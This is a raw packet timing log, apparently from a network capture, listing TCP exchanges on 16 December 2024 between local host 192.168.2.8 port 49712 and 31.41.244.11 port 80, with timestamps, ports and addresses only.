Dec 16, 2024 17:02:27.039783001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.039803028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.040000916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.040041924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.040348053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.040386915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.040549040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.040565014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.040607929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.040786982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.040833950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041069984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041110992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041212082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041225910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041250944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041290998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041440010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041481972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041822910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041866064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.041954041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041969061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.041996956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042010069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042258978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.042311907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042593956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.042643070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042686939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.042701960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.042727947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042740107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.042926073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.042987108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.043246031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.043262005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.043293953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.043308020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.043397903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.043412924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.043451071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.044035912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044086933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.044135094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044150114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044190884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.044337988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044712067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044754028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.044845104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044861078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.044888973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.044913054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.045134068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.045744896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.045789003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.045804977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.045820951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.045834064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.045844078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.045881987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.046547890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.046708107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.046746016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.046772957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.046787024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.046998978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.047200918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.047214985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.047243118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.047266960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.047597885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.047612906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.047640085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.047652006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048034906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048049927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048065901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048075914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048089027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048105001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048515081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048683882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048697948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.048724890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048749924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.048985004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.049000978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.049025059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.049036980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.049509048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.049627066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.049640894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.049669027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.049696922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.050008059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.050319910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.050359964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.050447941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.050462961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.050487995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.050513029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.050734043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.051065922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.051079988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.051106930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.051126003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.051215887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.051230907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.051269054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.051773071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.055330038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.219475985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.219495058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.219535112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.219551086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.219561100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.219588041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.219758987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.219774961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.219799042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.219811916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.220120907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.220164061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.220494032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.220534086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.220690966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.220730066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.220904112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.220942020 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.220983028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.221019030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.221127033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.221143007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.221165895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.221179008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.221710920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.221752882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.221827984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.221873045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.222017050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.222031116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.222054958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.222067118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.229871988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.229929924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.229989052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230005026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230032921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230046034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230402946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230428934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230439901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230444908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230469942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230489969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230880976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230895042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.230921030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.230937958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231017113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231053114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231081009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231096983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231111050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231116056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231132030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231148958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231950045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231967926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231981993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.231990099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.231997967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232017994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232043028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232733965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232757092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232770920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232784033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232788086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232800961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232815981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.232815981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232831955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.232847929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.233536005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.233561039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.233573914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.233576059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.233592033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.233598948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.233609915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.233623028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.234464884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.234482050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.234496117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.234503031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.234510899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.234518051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.234528065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.234534979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.234550953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.234566927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.235296965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.235321999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.235332966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.235337973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.235352993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.235353947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.235368013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.235380888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.236164093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.236190081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.236210108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.236221075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.236234903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.236251116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.236265898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.236274958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.236294985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.236304998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.237057924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.237075090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.237090111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.237102032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.237103939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.237116098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.237135887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.237149954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238168955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238184929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238199949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238208055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238220930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238224030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238240004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238243103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238262892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238272905 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238948107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238966942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238981962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.238991022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.238996983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.239002943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.239021063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.239048004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.239614964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.239631891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.239646912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.239664078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.239670038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.239680052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.239717960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.240350008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.240367889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.240381956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.240396976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.240403891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.240406036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.240430117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.240443945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.241156101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.241173029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.241188049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.241202116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.241204023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.241216898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.241236925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.242085934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242104053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242119074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242134094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242135048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.242149115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242161989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.242191076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.242897987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242914915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242929935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242944956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.242957115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.242981911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.243005991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.243911028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.243928909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.243943930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.243957996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.243962049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.243968964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.243973017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.243994951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.244029045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.244606018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.244622946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.244637012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.244651079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.244649887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.244661093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.244688034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.245508909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.245527983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.245543003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.245558023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.245573044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.245584011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.245584011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.245623112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.246479988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.246500969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.246515989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.246526957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.246531010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.246542931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.246562004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.246572971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.247272968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.247303963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.247320890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.247330904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.247347116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.247353077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.247375011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.247399092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.759809017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.759879112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.759877920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.759896994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.759939909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.759979963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.760390043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.760407925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.760473013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.760842085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.760858059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.760873079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.760891914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.760916948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.761725903 CET	80	49712	31.41.244.11	192.168.2.8
